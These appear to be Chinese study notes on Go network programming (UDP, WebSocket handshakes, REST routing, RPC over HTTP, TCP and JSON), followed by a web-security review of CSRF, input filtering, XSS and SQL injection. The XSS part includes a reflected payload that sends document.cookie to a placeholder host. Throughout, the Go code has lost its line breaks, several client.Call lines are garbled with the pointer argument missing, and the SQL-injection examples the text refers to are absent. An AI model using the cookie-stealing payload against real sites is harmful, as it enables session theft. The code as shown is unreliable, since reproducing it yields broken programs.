package mainimport ("fmt""net""os" )func main() {if len(os.Args) != 2 {fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])os.Exit(1)}service := os.Args[1]//通過傳入IP地址,得到UDPAddr類型的UDP IP信息udpAddr, err := net.ResolveUDPAddr("udp4", service)checkError(err)//建立一個(gè)UDP連接,返回UDPConn類型的對(duì)象conn, err := net.DialUDP("udp", nil, udpAddr)checkError(err)//發(fā)送信息_, err = conn.Write([]byte("anything"))checkError(err)//創(chuàng)建內(nèi)存空間var buf [512]byte//讀取UDP連接中的數(shù)據(jù)n, err := conn.Read(buf[0:])checkError(err)//打印數(shù)據(jù)fmt.Println(string(buf[0:n]))os.Exit(0) } func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())os.Exit(1)} }UDP服務(wù)度也一樣,唯有幾個(gè)函數(shù)不同而已
package mainimport ("fmt""net""os""time" )func main() {service := ":1200"//通過傳入IP地址,得到UDPAddr類型的UDP IP信息udpAddr, err := net.ResolveUDPAddr("udp4", service)checkError(err)//監(jiān)聽端口,返回一個(gè)網(wǎng)絡(luò)套接字,其實(shí)就是一個(gè)UDPConn類型的數(shù)據(jù)conn, err := net.ListenUDP("udp", udpAddr)checkError(err)//死循環(huán),不見得監(jiān)聽for {//調(diào)用邏輯循環(huán)函數(shù)handleClient(conn)} } func handleClient(conn *net.UDPConn) {//開辟內(nèi)容空間var buf [512]byte//讀取連接中的內(nèi)容_, addr, err := conn.ReadFromUDP(buf[0:])if err != nil {return}daytime := time.Now().String()//想U(xiǎn)DP發(fā)送數(shù)據(jù)conn.WriteToUDP([]byte(daytime), addr) } func checkError(err error) {if err != nil {fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())os.Exit(1)} }WebSocket
WebSocket是HTML5的重要特性，它實(shí)現(xiàn)了基于瀏覽器的遠(yuǎn)程socket
WebSocket采用了一些特殊的報(bào)頭，客戶端首次連接利用http協(xié)議和服務(wù)端進(jìn)行握手.
隨后在在瀏覽器和服務(wù)器之間建立一條連接通道。且此連接會(huì)保持在活動(dòng)狀態(tài).
我們可以使用JavaScript來(lái)向連接寫入或從中接收數(shù)據(jù)，就像在使用一個(gè)常規(guī)的TCP Socket一樣。
WebSocket URL的起始輸入是ws://或是wss://(在SSL上)
WebSocket原理
websocket的協(xié)議很簡(jiǎn)單,第一次握手通過之后即進(jìn)入正式的socket連接其后的通訊數(shù)據(jù)都是以”\x00″開頭，以”\xFF”結(jié)尾。在客戶端這個(gè)是透明的,websocket會(huì)自動(dòng)掐頭去尾.
瀏覽器發(fā)出WebSocket連接請(qǐng)求，然后服務(wù)器發(fā)出回應(yīng)，然后連接建立成功，這個(gè)過程通常稱為“握手” (handshaking),請(qǐng)求和返回可下面的兩塊代碼
請(qǐng)求頭
Host: widget-mediator.zopim.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: */* Accept-Language: zh-CN Accept-Encoding: gzip, deflate, br Sec-WebSocket-Version: 13 Origin: https://www.jubi.com Sec-WebSocket-Extensions: permessage-deflate Sec-WebSocket-Key: gcU/lZSgmiw+gOpD8RTa4Q== DNT: 1 Connection: keep-alive, Upgrade Cookie: __cfduid=d798f1f8c91c66a38c22354e5d2fd189a1555936892 Pragma: no-cache Cache-Control: no-cache Upgrade: websocket響應(yīng)頭
HTTP/1.1 101 Switching Protocols Date: Mon, 29 Jul 2017 04:19:19 GMT Connection: upgrade Set-Cookie: AWSALB=L+ZNZIZHUTircR4sAf96PCF/u6qLr+n9cqosKo1BbRo6IWwxEwXZnwkPeb2/WEp0uKQHGZa6SdO2Og5ZKqugLGNphEzMJvSNxzK97rqQYAWdNC3rSmn80EpV1cii; Expires=Mon, 05 Aug 2019 04:19:19 GMT; Path=/ Upgrade: websocket Sec-WebSocket-Accept: CH+PHGTvG/xMvP+YFRwksP4ak2U= Sec-WebSocket-Version: 13 WebSocket-Server: uWebSockets從上面的兩端代碼,可以看到請(qǐng)求中的"Sec-WebSocket-Key"是隨機(jī)的base64編碼后的一段字符串.
服務(wù)端接收到這個(gè)請(qǐng)求之后,需要把這個(gè)字符串連接上一個(gè)固定的字符258EAFA5-E914-47DA-95CA-C5AB0DC85B11
拼接成這樣gcU/lZSgmiw+gOpD8RTa4Q==258EAFA5-E914-47DA-95CA-C5AB0DC85B11
然后對(duì)該字符串使用sha1算法取出二進(jìn)制的值,然后base64.如下
Sec-WebSocket-Accept = base64(sha1(Sec-WebSocket-Key + 258EAFA5-E914-47DA-95CA-C5AB0DC85B11));隨后將之作為響應(yīng)頭Sec-WebSocket-Accept的值反饋給客戶端。
具體可以看這里,我的另一邊筆記
WebSocket基礎(chǔ)
Go實(shí)現(xiàn)WebSocket
Go語(yǔ)言標(biāo)準(zhǔn)包里面沒有提供對(duì)WebSocket的支持，但是在由官方維護(hù)的go.net子包中有對(duì)這個(gè)的支持.
其實(shí)也可以字節(jié)寫一個(gè)socket服務(wù),自己做握手,很簡(jiǎn)單.
go get golang.org/x/net/websocket客戶端的HTML代碼, 客戶端一共綁定了四個(gè)事件。
- onopen 建立連接后觸發(fā)
- onmessage 收到消息后觸發(fā)
- onerror 發(fā)生錯(cuò)誤時(shí)觸發(fā)
- onclose 關(guān)閉連接時(shí)觸發(fā)
服務(wù)端代碼
package mainimport ("golang.org/x/net/websocket""fmt""log""net/http" )func Echo(ws *websocket.Conn) {var err error//死循環(huán),不間斷處理for {//定義一個(gè)變量,后面讀取websocket內(nèi)容的時(shí)候要用到他的指針var reply string//讀取websocket的,replay為返回的內(nèi)容if err = websocket.Message.Receive(ws, &reply); err != nil {fmt.Println("Can't receive")break}fmt.Println("客戶端發(fā)送的信息: " + reply)msg := "服務(wù)器接收到數(shù)據(jù),這里是服務(wù)器返回的信息"if err = websocket.Message.Send(ws, msg); err != nil {fmt.Println("Can't send")break}} }func main() {//通過一個(gè)http服務(wù)來(lái)做http.Handle("/", websocket.Handler(Echo))//開啟服務(wù)if err := http.ListenAndServe(":999", nil); err != nil {log.Fatal("ListenAndServe:", err)} }上面我在寫wesocket案例的時(shí)候發(fā)生了一個(gè)小插曲,在Mac自帶的瀏覽器中運(yùn)行HTML文件后websocket跑步起來(lái),提示
WebSocket connection to 'ws://127.0.0.1:999/' failed: Unexpected response code: 403查看請(qǐng)求頭發(fā)現(xiàn)Origin參數(shù)為null,我想應(yīng)該是這個(gè)問題,于是我用Chrome運(yùn)行就跑起來(lái)了...
Chrome中該字段的值是Origin: file://
還有一個(gè)方案就是在服務(wù)端,取消origin認(rèn)證,默認(rèn)是要認(rèn)證Origin參數(shù)的
Connection: Upgrade Host: 127.0.0.1:999 Origin: null Pragma: no-cache Cache-Control: no-cache Sec-WebSocket-Key: Zbh6Hk/bjj4PPOgD3MvpHA== Sec-WebSocket-Version: 13 Sec-WebSocket-Extensions: x-webkit-deflate-frame User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15REST
REST和Restful老生常談,不再累述了,這里是書上的一點(diǎn)概念,我覺得比較有代表性.
總結(jié)一下什么是RESTful架構(gòu)：
- 每一個(gè)URI代表一種資源；
- 客戶端和服務(wù)器之間，傳遞這種資源的某種表現(xiàn)層；
- 客戶端通過四個(gè)HTTP動(dòng)詞(GET,POST,DELETE,PUT等)，對(duì)服務(wù)器端資源進(jìn)行操作，實(shí)現(xiàn)"表現(xiàn)層狀態(tài)轉(zhuǎn)化"。
這里使用了第三方庫(kù)go get github.com/julienschmidt/httprouter，這個(gè)庫(kù)實(shí)現(xiàn)了自定義路由和方便的路由規(guī)則映射，通過它，我們可以很方便的實(shí)現(xiàn)REST的架構(gòu).
這東西沒什么難度,不再累述
package mainimport ("fmt""log""net/http""github.com/julienschmidt/httprouter" )func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {fmt.Fprint(w, "你好!\n") }func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//獲取請(qǐng)求參數(shù)fmt.Fprintf(w, ps.ByName("name")) }func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//獲取請(qǐng)求參數(shù)uid := ps.ByName("uid")fmt.Fprintf(w, uid) }func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//獲取請(qǐng)求參數(shù)uid := ps.ByName("uid")fmt.Fprintf(w, uid) }func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//獲取請(qǐng)求參數(shù)uid := ps.ByName("uid")fmt.Fprintf(w, uid) }func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//獲取請(qǐng)求參數(shù)uid := ps.ByName("uid")fmt.Fprintf(w, uid) }func main() {//新建路由router := httprouter.New()//根據(jù)不同的請(qǐng)求方式, 設(shè)置匹配的URL連接router.GET("/", Index)router.GET("/hello/:name", Hello)router.GET("/user/:uid", getuser)router.POST("/adduser/:uid", adduser)router.DELETE("/deluser/:uid", deleteuser)router.PUT("/moduser/:uid", modifyuser)//監(jiān)聽服務(wù),同時(shí)記錄日志log.Fatal(http.ListenAndServe(":999", router)) }RPC
RPC——遠(yuǎn)程過程調(diào)用協(xié)議,可是實(shí)現(xiàn)客戶端就像調(diào)用本地函數(shù)一樣調(diào)用遠(yuǎn)程服務(wù)里里面的服務(wù).
RPC主要使用HTTP,TCP進(jìn)行通信.
go標(biāo)準(zhǔn)包中的RPC
go標(biāo)準(zhǔn)包中已經(jīng)提供了對(duì)RPC的支持,而且同時(shí)支持TCP、HTTP、JSONRPC
但是go的標(biāo)準(zhǔn)包中的RPC是獨(dú)一無(wú)二的RCPU,僅僅支持在GO的客戶端和服務(wù)端的交互.
所以, 一般情況下我們不會(huì)用go的標(biāo)準(zhǔn)包做rpc服務(wù)而是用gRpc,gRpc主流語(yǔ)言都可以用
這里的東西大概看一下流程就可以
go的RC函數(shù)只有在符合下面條件時(shí)才能夠運(yùn)行
- 首字母必須是大寫
- 必須有兩個(gè)導(dǎo)出類型的參數(shù)
- 第一個(gè)參數(shù)是接收的參數(shù),第二個(gè)參數(shù)是返回給客戶端的參數(shù)同時(shí)必須是指針類型
- 函數(shù)還要返回一個(gè)返回值error
正確的RPC函數(shù)格式如下
//T、T1和T2類型必須能被encoding/gob包編解碼 func (t *T) MethodName(argType T1, replyType *T2) errorHTTP RPC
根據(jù)下面得了兩個(gè)案例,可以看到客戶端的返回值就是我們定義的strct類型,
在服務(wù)端我們當(dāng)做調(diào)用函數(shù)的參數(shù)的類型
在客戶端作為client.Call的第2，3兩個(gè)參數(shù)的類型,在客戶端最重要的就是這個(gè)Call函數(shù)
Call有三個(gè)參數(shù),第一個(gè)是要調(diào)用函數(shù)名稱,第二個(gè)是要傳遞的參數(shù),第三個(gè)要返回的參數(shù)(指針類型)
服務(wù)端的代碼如下:
注冊(cè)了一個(gè)Arith的RPC服務(wù)，然后通過rpc.HandleHTTP函數(shù)把該服務(wù)注冊(cè)到了HTTP協(xié)議上
package mainimport ("github.com/pkg/errors""net/rpc""net/http""fmt" )type Args struct {A, B int }type Quotient struct {Quo, Rem int }//數(shù)學(xué)計(jì)算 type Arith int//乘法 func (t *Arith) Mul(args *Args, reply *int) error {*reply = args.A * args.Breturn nil}//除法 func (t *Arith) Div(args *Args, quo *Quotient) error {if args.B == 0 {return errors.New("Div參數(shù)不能為0")}quo.Quo = args.A / args.Bquo.Rem = args.A % args.Breturn nil} func main() {//為該結(jié)構(gòu)體開辟內(nèi)存空間arith := new(Arith)//注冊(cè)RPCrpc.Register(arith)//調(diào)用RPC服務(wù)rpc.HandleHTTP()//開啟服務(wù)err := http.ListenAndServe(":999", nil)if err != nil {fmt.Println(err.Error())} }客戶端代碼
package mainimport ("os""fmt""net/rpc" )type Args struct {A, B int }type Quotient struct {Quo, Rem int }func main() {if len(os.Args) != 2 {fmt.Println("請(qǐng)輸入?yún)?shù)")os.Exit(1)}//獲取第一個(gè)參數(shù)作為請(qǐng)求地址serverAddress := os.Args[1]//發(fā)送請(qǐng)求,通過http的形式client, err := rpc.DialHTTP("tcp", serverAddress+":999")if err != nil {panic(err)}//設(shè)置請(qǐng)求參數(shù)args := Args{8, 2}//聲明一個(gè)變量,然后使用指針形式調(diào)用該變量作為返回值的賦值var reply int//調(diào)用遠(yuǎn)程的RPC服務(wù)err = client.Call("Arith.Mul", args, &reply)if err != nil {panic(err)}fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)var quot Quotient//調(diào)用遠(yuǎn)程的RPC服務(wù)err = client.Call("Arith.Div", args, ")if err != nil {panic(err)}fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)//打印結(jié)果//~/go/src/web/rpc on master! ? 15:07:25//$ go run ./http_client.go localhost//Arith: 8*2=16//Arith: 8/2=4 remainder 0}TCP RPC
基于TCP的RPC協(xié)議,和http的rpc的不同之處是我們使用了TCP協(xié)議開啟一個(gè)服務(wù).
然后自己控制連接,一旦有客戶端連接過來(lái),馬上就把這個(gè)鏈接交給rpc來(lái)處理
阻塞版的服務(wù)端代碼,如果不想阻塞,想要并發(fā),用goroutine即可
package mainimport ("github.com/pkg/errors""net/rpc""net" )//聲明三個(gè)結(jié)構(gòu)體//作為參數(shù)的結(jié)構(gòu)體 type Args struct {A, B int } type Quotient struct {Quo, Rem int }//聲明一個(gè)結(jié)構(gòu)體,作為對(duì)象使用 type Arith int//乘法 func (t *Arith) Mul(args *Args, reply *int) error {*reply = args.A * args.Breturn nil }//除法 func (t *Arith) Div(args *Args, quo *Quotient) error {if args.B == 0 {return errors.New("div 不能是0")}quo.Quo = args.A / args.Bquo.Rem = args.A % args.Breturn nil }func main() {//同樣,需要為該結(jié)構(gòu)體(相當(dāng)于對(duì)象)開辟空間arith := new(Arith)//注冊(cè)rpcrpc.Register(arith)//同樣需要開啟一個(gè)socket服務(wù)tcpAddr, err := net.ResolveTCPAddr("tcp", ":999")if err != nil {panic(err)}//監(jiān)聽socket端口listenner, err := net.ListenTCP("tcp", tcpAddr)//死循環(huán)不斷的處理for {//通過監(jiān)聽的端口獲取到數(shù)據(jù)conn, err := listenner.Accept()if err != nil {continue}//通過rpc調(diào)用請(qǐng)求rpc.ServeConn(conn)} }客戶端代碼
package mainimport ("os""fmt""net/rpc" )type Args struct {A, B int }type Quotient struct {Quo, Rem int }func main() {//判斷參數(shù)if len(os.Args) != 2 {fmt.Println("請(qǐng)輸入U(xiǎn)RL地址和端口號(hào),格式 host:port")}//獲取參數(shù),發(fā)送連接service := os.Args[1]client, err := rpc.Dial("tcp", service)if err != nil {panic(err)}//填充參數(shù), 調(diào)用遠(yuǎn)程RPC服務(wù),進(jìn)行乘法操作args := Args{4, 2}var reply interr = client.Call("Arith.Mul", args, &reply)if err != nil {panic(err)}fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)//聲明變量,調(diào)用遠(yuǎn)程RPC服務(wù),進(jìn)行除法操作var quot Quotienterr = client.Call("Arith.Div", args, ")if err != nil {panic(err)}fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) }//~/go/src/web/rpc on master! ? 16:54:59 //$ go run ./tcp_client.go 127.0.0.1:999 //Arith: 4*2=8 //Arith: 4/2=2 remainder 0JSON RPC
JSON RPC是數(shù)據(jù)編碼采用了JSON,而不是gob編碼,其他方面和前面說(shuō)的RPC概念一模一樣.
json-rpc是基于TCP協(xié)議實(shí)現(xiàn)的，目前它還不支持HTTP方式。
服務(wù)端代碼
package mainimport ("errors""fmt""net""net/rpc""net/rpc/jsonrpc""os" )type Args struct {A, B int }type Quotient struct {Quo, Rem int }type Arith intfunc (t *Arith) Multiply(args *Args, reply *int) error {*reply = args.A * args.Breturn nil }func (t *Arith) Divide(args *Args, quo *Quotient) error {if args.B == 0 {return errors.New("divide by zero")}quo.Quo = args.A / args.Bquo.Rem = args.A % args.Breturn nil }func main() {//為結(jié)構(gòu)體開辟空間arith := new(Arith)//注冊(cè)RPC服務(wù)rpc.Register(arith)//激活TCP服務(wù)tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")checkError(err)//監(jiān)聽端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)for {//處理接收到的數(shù)據(jù)conn, err := listener.Accept()if err != nil {continue}//將接收到的連接轉(zhuǎn)發(fā)給RPCjsonrpc.ServeConn(conn)}}func checkError(err error) {if err != nil {fmt.Println("Fatal error ", err.Error())os.Exit(1)} }客戶端代碼
package mainimport ("fmt""log""net/rpc/jsonrpc""os" )type Args struct {A, B int }type Quotient struct {Quo, Rem int }func main() {//判斷傳入的參數(shù)個(gè)數(shù)if len(os.Args) != 2 {fmt.Println("請(qǐng)輸入?yún)?shù)")log.Fatal(1)}//獲取參數(shù),調(diào)動(dòng)RPC服務(wù)service := os.Args[1]client, err := jsonrpc.Dial("tcp", service)if err != nil {panic(err)}//設(shè)置提交參數(shù)args := Args{4, 2}//聲明當(dāng)做返回值的變量var reply int//取變量的內(nèi)存地址傳入函數(shù),并使用函數(shù)調(diào)用遠(yuǎn)程RPC服務(wù)err = client.Call("Arith.Mul", args, &reply)if err != nil {panic(err)}fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)//和上面一樣,聲明變量,將變量?jī)?nèi)存地址放入函數(shù)作為返回值用,同時(shí)使用函數(shù)調(diào)用遠(yuǎn)程RPC服務(wù)var quot Quotienterr = client.Call("Arith.Divide", args, ")if err != nil {panic(err)}fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)} //執(zhí)行結(jié)果 //~/go/src/web/rpc on master! ? 16:55:11 //$ go run ./tcp_client.go 127.0.0.1:999 //Arith: 4*2=8 //Arith: 4/2=2 remainder 0安全與加密
web安全這塊完全就是老生常談,做web開發(fā)的基本上都這塊都是如數(shù)家珍.
如果要專門學(xué)的話,我推薦道哥的《白帽子講Web安全》
因?yàn)閷W(xué)到這里了,就做一下簡(jiǎn)單的回顧.
預(yù)防CSRF攻擊
CSRF(Cross-site request forger),中文名稱:跨站請(qǐng)求偽造,其實(shí)就是跨站攻擊的一種.
要完成一次攻擊,必須要讓受害者完整兩個(gè)步驟
- 登錄受信任網(wǎng)站A,并且在本地生成cookie
- 在不退出A的情況下,訪問危險(xiǎn)網(wǎng)站B
這時(shí)候危險(xiǎn)網(wǎng)站B,通過盜用用戶的COOKIE得到用戶在網(wǎng)站A的登錄狀態(tài),從而盜用用戶在網(wǎng)站A上的資金.
如何防御CSRF
服務(wù)端的防御方式有很多種,但是思路上都差不多.
- 正確使用GET,POST和Cookie
- 在非GET請(qǐng)求中增加偽隨機(jī)數(shù),作為令牌
- 限制cookie的獲取方式,設(shè)置httponly
一般來(lái)說(shuō),普通的web應(yīng)用都是以get和post為主,還有一種是cookie的方式
一般我們都這么設(shè)計(jì)程序:
- GET常用在查看,列舉,展示等不需要改變資源屬性的時(shí)候.
- POST常用在下單,改變一個(gè)資源的屬性或者做其他事情的時(shí)候
接下來(lái)我們已go語(yǔ)言為例,如何限制對(duì)資源的訪問方法
//限制只能通過GET方式獲取 mux.Get("/user/:uid", getuser) //限制只能通過POST方式獲取 mux.Post("/user/:uid", modifyuser)這樣處理之后可以限制用戶的請(qǐng)求方式,防止請(qǐng)求方式混亂.
但是這樣并不安全,需要我們?cè)诜荊ET方式的請(qǐng)求中增加隨機(jī)數(shù)令牌
- 為每個(gè)用戶生成一個(gè)唯一的cookie tokan,所有表單都要包含同一個(gè)隨機(jī)數(shù)令牌,這個(gè)方案最簡(jiǎn)單,因?yàn)楣粽卟荒塬@取第三方的cookie(理論上設(shè)置httponly之后),所以攻擊也就不存在,但是這個(gè)方案必須要在沒有XSS攻擊的情況下才安全.
- 每個(gè)請(qǐng)求使用驗(yàn)證碼,完美方案,但是多次輸入驗(yàn)證碼,用戶會(huì)受不了
- 不同的表單包含一個(gè)不同的隨機(jī)數(shù)令牌,我前面做Template的章節(jié)的時(shí)候說(shuō)過, 代碼如下
輸出token
<input type="hidden" name="token" value="{{.}}">驗(yàn)證token
r.ParseForm() token := r.Form.Get("token") if token != "" {//驗(yàn)證token的合法性 } else {//不存在token報(bào)錯(cuò) }確保輸入過濾
一句話,客戶端的一切數(shù)據(jù)都是不可信的.用戶提交的數(shù)據(jù)必須要進(jìn)行過濾.
過濾數(shù)據(jù)分為三個(gè)部分
- 識(shí)別數(shù)據(jù)，搞清楚需要過濾的數(shù)據(jù)來(lái)自于哪里
- 過濾數(shù)據(jù)，弄明白我們需要什么樣的數(shù)據(jù)
- 區(qū)分已過濾及被污染數(shù)據(jù)，如果存在攻擊數(shù)據(jù)那么保證過濾之后可以讓我們使用更安全的數(shù)據(jù)\
過濾數(shù)據(jù)
在知道數(shù)據(jù)來(lái)源之后,就可以過濾它了.以防止非法數(shù)據(jù)進(jìn)入你的應(yīng)用。
最好的方法是把過濾看成是一個(gè)檢查的過程，在我們使用數(shù)據(jù)之前都要檢查一下是否是合法的數(shù)據(jù)。
千萬(wàn)不要試圖好心地去糾正非法數(shù)據(jù)，而是讓用戶遵循我們的規(guī)則進(jìn)行輸入。
歷史證明了試圖糾正非法數(shù)據(jù)往往會(huì)導(dǎo)致安全漏洞。
這里舉個(gè)例子：“最近建設(shè)銀行系統(tǒng)升級(jí)之后，如果密碼后面兩位是0，只要輸入前面四位就能登錄系統(tǒng)”，這是一個(gè)非常嚴(yán)重的漏洞。(牛逼!!!)
過濾數(shù)據(jù)主要是用下面這些庫(kù)來(lái)操作
- strconv包下面的字符串轉(zhuǎn)化相關(guān)函數(shù),因?yàn)閺膔equest中的r.From返回的就是字符串.如果我們要將他們轉(zhuǎn)換為整數(shù)/浮點(diǎn)數(shù),Atoi、ParseBool、ParseFloat、ParseInt等函數(shù)就可以派上用場(chǎng)了。
- string包下面的一些過濾函數(shù)Trim、ToLower、ToTitle等函數(shù)，能夠幫助我們按照指定的格式獲取信息。
- regexp包做正則匹配用來(lái)處理一些復(fù)雜的需求，例如判定輸入是否是Email、生日之類。
過濾數(shù)據(jù)除了檢查驗(yàn)證之外，在特殊時(shí)候，還可以采用白名單。即僅指定的字段可通過.
區(qū)分過濾數(shù)據(jù)
如果走到這里,說(shuō)明數(shù)據(jù)過濾的工作基本就完成了.但是寫程序的時(shí)候還需要我們區(qū)分已過濾和被污染的數(shù)據(jù),用來(lái)保證過濾數(shù)據(jù)的完整性,而不影響輸入的數(shù)據(jù).
在這里,我們約定把所有經(jīng)過過濾的數(shù)據(jù)放入一個(gè)叫全局的Map變量中(CleanMap)
這時(shí)候需要用兩個(gè)步驟來(lái)方志偉污染的數(shù)據(jù)注入:
- 每個(gè)請(qǐng)求都需要初始化CleanMap為一個(gè)空的Map
- 加入檢查及阻止來(lái)自外部數(shù)據(jù)源的變量命名為CleanMap
下面來(lái)個(gè)例子來(lái)鞏固一下這些概念:
前端表單
<form action="/whoami" method="POST">我是誰(shuí):<select name="name"><option value="astaxie">astaxie</option><option value="herry">herry</option><option value="marry">marry</option></select><input type="submit" /> </form>如果你以為上面的表單只有三個(gè)值提交的話,那就錯(cuò)了.再遭到攻擊時(shí),攻擊者偽造表單,可能會(huì)有n個(gè)字段提交
所以我們?cè)谙旅娴姆?wù)端代碼中,只取出我們制定的字段的值,同時(shí)將值和字段名賦值給CleanMap.
這就可以保證CleanMap中的字段一定是合法字段(值不一定合法,需要再做處理).
其實(shí)下面的代碼我們還可以在else部分增加非法數(shù)據(jù)的處理，一種可能是再次顯示表單并提示錯(cuò)誤。但是不要試圖為了友好而輸出被污染的數(shù)據(jù)(因?yàn)檫@很要命)。
//調(diào)用該函數(shù),他會(huì)自動(dòng)處理表單數(shù)據(jù) r.ParseForm() //讀取表單數(shù)據(jù)中指定字段的值 name := r.Form.Get("name") CleanMap := make(map[string]interface{}, 0) if name == "astaxie" || name == "herry" || name == "marry" {CleanMap["name"] = name }上面的代碼只能用來(lái)過濾字段,要過濾值還帶看下面
比如下面的代碼,只允許name字段提交字母和數(shù)字
//調(diào)用該函數(shù),他會(huì)自動(dòng)處理表單數(shù)據(jù) r.ParseForm() //讀取表單數(shù)據(jù)中指定字段的值 username := r.Form.Get("username") CleanMap := make(map[string]interface{}, 0) //正則匹配 if ok, _ := regexp.MatchString("^[a-zA-Z0-9]+$", username); ok {CleanMap["username"] = username }避免XSS攻擊
動(dòng)態(tài)站點(diǎn)會(huì)受到一種名為“跨站腳本攻擊”（Cross Site Scripting, 安全專家們通常將其縮寫成 XSS）的威脅，而靜態(tài)站點(diǎn)則完全不受其影響。
什么是XSS
XSS攻擊：跨站腳本攻擊(Cross-Site Scripting)
XSS是一種常見的web安全漏洞，攻擊者(通過在服務(wù)植入或其他方式,比如運(yùn)營(yíng)商作梗)將惡意代碼植入到提供給其它用戶使用的頁(yè)面中.
XSS通常可以分為兩大類
- 一類是存儲(chǔ)型XSS，主要是出現(xiàn)在讓用戶輸入數(shù)據(jù)保存到服務(wù)器,然后供其他用戶查看的地方,比如留言板,博客等.程序從數(shù)據(jù)庫(kù)查詢數(shù)據(jù),在頁(yè)面中顯示,如果數(shù)據(jù)中有惡意腳本數(shù)據(jù),用戶瀏覽此信息的頁(yè)面時(shí)該腳本就會(huì)被運(yùn)行,用戶就會(huì)遭到攻擊.簡(jiǎn)而言之,黑客通過漏洞向數(shù)據(jù)庫(kù)中注入JS代碼,用戶訪問這些數(shù)據(jù)時(shí),JS代碼就會(huì)在瀏覽器中運(yùn)行,這些JS代碼可能會(huì)含有讀取cookie獲得用戶登錄狀態(tài)等功能.
- 另一類是反射型XSS，主要做法是將腳本代碼加入U(xiǎn)RL地址的請(qǐng)求參數(shù)里，請(qǐng)求參數(shù)進(jìn)入程序后在頁(yè)面直接輸出，用戶點(diǎn)擊類似的惡意鏈接就可能受到攻擊。
XSS目前主要的手段和目的如下：
- 盜用cookie,獲取用戶敏感信息(比如登錄狀態(tài))
- 利用植入Flash,通過crossdomain權(quán)限設(shè)置進(jìn)一步獲取更高權(quán)限；或者利用Java等得到類似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式，以（被攻擊者）用戶的身份執(zhí)行一些管理動(dòng)作，或執(zhí)行一些如:發(fā)微博、加好友、發(fā)私信等常規(guī)操作，前段時(shí)間新浪微博就遭遇過一次XSS。
- 利用可被攻擊的域受到其他域信任的特點(diǎn)，以受信任來(lái)源的身份請(qǐng)求一些平時(shí)不允許的操作，如進(jìn)行不當(dāng)?shù)耐镀被顒?dòng)。
- 在訪問量極大的一些頁(yè)面上的XSS可以攻擊一些小型網(wǎng)站，實(shí)現(xiàn)DDoS攻擊的效果
XSS的原理
很顯然,是程序?qū)懙挠袉栴},沒有過濾用戶提交的數(shù)據(jù),黑客通過該漏銅想服務(wù)器提交了HTML代碼.
服務(wù)器將這些未轉(zhuǎn)義的代碼輸出到了其他用戶的瀏覽器解釋執(zhí)行.
接下來(lái)以反射性XSS舉例說(shuō)明XSS的過程:
例如正確訪問域名是http://127.0.0.1/?name=nihao就會(huì)再瀏覽器輸入你好啊
但是如果我們這樣傳遞URLhttp://127.0.0.1/?name=<script>alert('nihao,xss')</script>這時(shí)你就會(huì)發(fā)現(xiàn)瀏覽器跳出一個(gè)彈出框，這說(shuō)明站點(diǎn)已經(jīng)存在了XSS漏洞。
惡意用戶盜取cookie,也是通過類似的方法http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>這樣就可以把當(dāng)前的cookie發(fā)送到指定的站點(diǎn)：www.xxx.com。
防御XSS攻擊
其實(shí)說(shuō)起來(lái)就很簡(jiǎn)單了,不要相信任何用戶提交的數(shù)據(jù),并且過濾掉所有的特殊字符.尤其是html字符.
目前主要防御措施:
- 過濾特殊字符,Go語(yǔ)言提供了HTML的過濾函數(shù)：text/template包下面的HTMLEscapeString、JSEscapeString等函數(shù)
- 使用HTTP頭指定類型w.Header().Set("Content-Type","text/javascript"),這樣就可以讓瀏覽器解析javascript代碼，而不會(huì)是html輸出。
避免SQL注入
SQL注入攻擊（SQL Injection），簡(jiǎn)稱注入攻擊，是Web開發(fā)中最常見的一種安全漏洞。
而造成SQL注入的原因是因?yàn)槌绦驔]有過濾用戶輸入的內(nèi)容,導(dǎo)致惡意用戶提交了惡意SQL語(yǔ)句影響到原SQL的執(zhí)行,從而操作數(shù)據(jù)庫(kù).
PS:如果你認(rèn)為只有了解數(shù)據(jù)庫(kù)結(jié)構(gòu)才能攻擊的話,那就錯(cuò)了,京東那一年被拖庫(kù)就是最牛逼的例子.
SQL注入實(shí)例
SQL查詢可以繞開訪問限制，從而繞過身份驗(yàn)證和權(quán)限檢查的操作數(shù)據(jù)庫(kù)。更有甚者，有可能通過SQL查詢?nèi)ミ\(yùn)行主機(jī)系統(tǒng)級(jí)的命令。
下面是一些SQL注入的例子:
注意在SQL中--是注釋符,所以查詢語(yǔ)句會(huì)在此中斷,這就讓攻擊者在不知道密碼的情況下成功登陸了
對(duì)于MSSQL還有一種更加危險(xiǎn)的SQL注入,那就是控制操作系統(tǒng)
MSSQL服務(wù)器會(huì)執(zhí)行這條SQL語(yǔ)句，包括它后面那個(gè)用于向系統(tǒng)添加新用戶的命令。如果這個(gè)程序是以sa運(yùn)行而 MSSQLSERVER服務(wù)又有足夠的權(quán)限的話，攻擊者就可以獲得一個(gè)系統(tǒng)帳號(hào)來(lái)訪問主機(jī)了。
預(yù)防SQL注入
還是那句話,不要相信任何用戶提交的數(shù)據(jù),特別是來(lái)自于用戶的數(shù)據(jù)，包括選擇框、表單隱藏域和 cookie。
主要防御方式
